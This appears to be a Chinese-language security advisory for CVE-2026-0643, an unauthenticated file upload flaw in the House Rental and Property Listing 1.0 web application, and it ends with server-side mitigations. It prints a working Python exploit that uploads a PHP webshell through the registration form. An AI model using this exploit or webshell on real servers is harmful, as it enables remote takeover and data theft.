IPBUF安全漏洞报告
English
CVE-2026-0643 CVSS 7.3 高危

CVE-2026-0643: projectworlds House Rental Property Listing 1.0 任意文件上传漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2026-0643
漏洞类型
任意文件上传
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
projectworlds House Rental and Property Listing 1.0

相关标签

任意文件上传CVE-2026-0643House RentalProperty Listingprojectworlds远程代码执行高危漏洞webshell无需认证注册功能

漏洞概述

CVE-2026-0643是projectworlds House Rental and Property Listing 1.0中存在的一个高危安全漏洞。该漏洞位于用户注册功能模块,攻击者可以通过注册页面(/app/register.php?action=reg)的Signup功能,利用image参数上传任意文件,包括恶意PHP脚本。由于系统未对上传文件的类型、内容和扩展名进行严格的验证和过滤,攻击者成功上传webshell后可以执行任意代码,从而完全控制服务器。此漏洞无需认证即可利用,远程攻击者可以直接通过互联网发起攻击,具有极高的危害性。CVSS 3.1评分7.3,属于高危漏洞,对系统的机密性、完整性和可用性都造成一定影响。

技术细节

该漏洞源于House Rental and Property Listing 1.0应用在用户注册功能中对文件上传处理的安全缺陷。攻击者访问注册页面(/app/register.php?action=reg),在Signup组件中,通过image参数提交精心构造的文件上传请求。系统未对上传文件的MIME类型、文件扩展名和内容进行充分的验证,允许攻击者上传.php、.phtml等可执行脚本文件。攻击者通常会上传包含webshell的PHP文件,如<?php system($_GET['cmd']); ?>,上传成功后通过访问该文件并传入命令参数即可在服务器上执行任意系统命令,从而实现远程代码执行(RCE)。由于注册功能通常不需要管理员权限即可访问,且系统未实施CSRF token保护,任何攻击者都可以构造恶意请求实施攻击。

攻击链分析

STEP 1
步骤1
攻击者访问目标网站的注册页面 /app/register.php?action=reg
STEP 2
步骤2
攻击者构造恶意文件上传请求,在image参数中携带PHP webshell
STEP 3
步骤3
系统未验证文件类型和扩展名,直接保存恶意文件到服务器
STEP 4
步骤4
攻击者访问上传的webshell文件,通过cmd参数执行任意系统命令
STEP 5
步骤5
攻击者获取服务器完全控制权,可进行数据窃取、横向移动等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0643 PoC - Unrestricted File Upload in House Rental and Property Listing 1.0 # Target: /app/register.php?action=reg def exploit(target_url, webshell_filename='shell.php'): """ Exploit for CVE-2026-0643 Upload webshell via registration form image parameter """ upload_url = f"{target_url}/app/register.php?action=reg" # PHP webshell content webshell_content = "<?php system($_GET['cmd']); ?>" # Prepare malicious file upload files = { 'image': (webshell_filename, webshell_content, 'application/x-php') } # Form data for registration data = { 'name': 'attacker', 'email': '[email protected]', 'phone': '1234567890', 'password': 'password123' } try: print(f"[*] Sending exploit to {upload_url}") response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print(f"[+] File upload request sent successfully") print(f"[+] Check for uploaded file at /app/uploads/{webshell_filename}") print(f"[+] Access webshell: {target_url}/app/uploads/{webshell_filename}?cmd=whoami") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

影响范围

projectworlds House Rental and Property Listing 1.0

防御指南

临时缓解措施
在官方修复方案发布前,建议暂时禁用注册功能或设置访问白名单限制注册页面访问;同时配置Web服务器使上传目录(/app/uploads/)无法执行PHP等脚本文件;可使用Nginx配置location ~ /app/uploads/ { deny all; }或Apache配置<Directory "/app/uploads/"> <FilesMatch "\.php$"> Deny from all </FilesMatch> </Directory>来阻止webshell执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表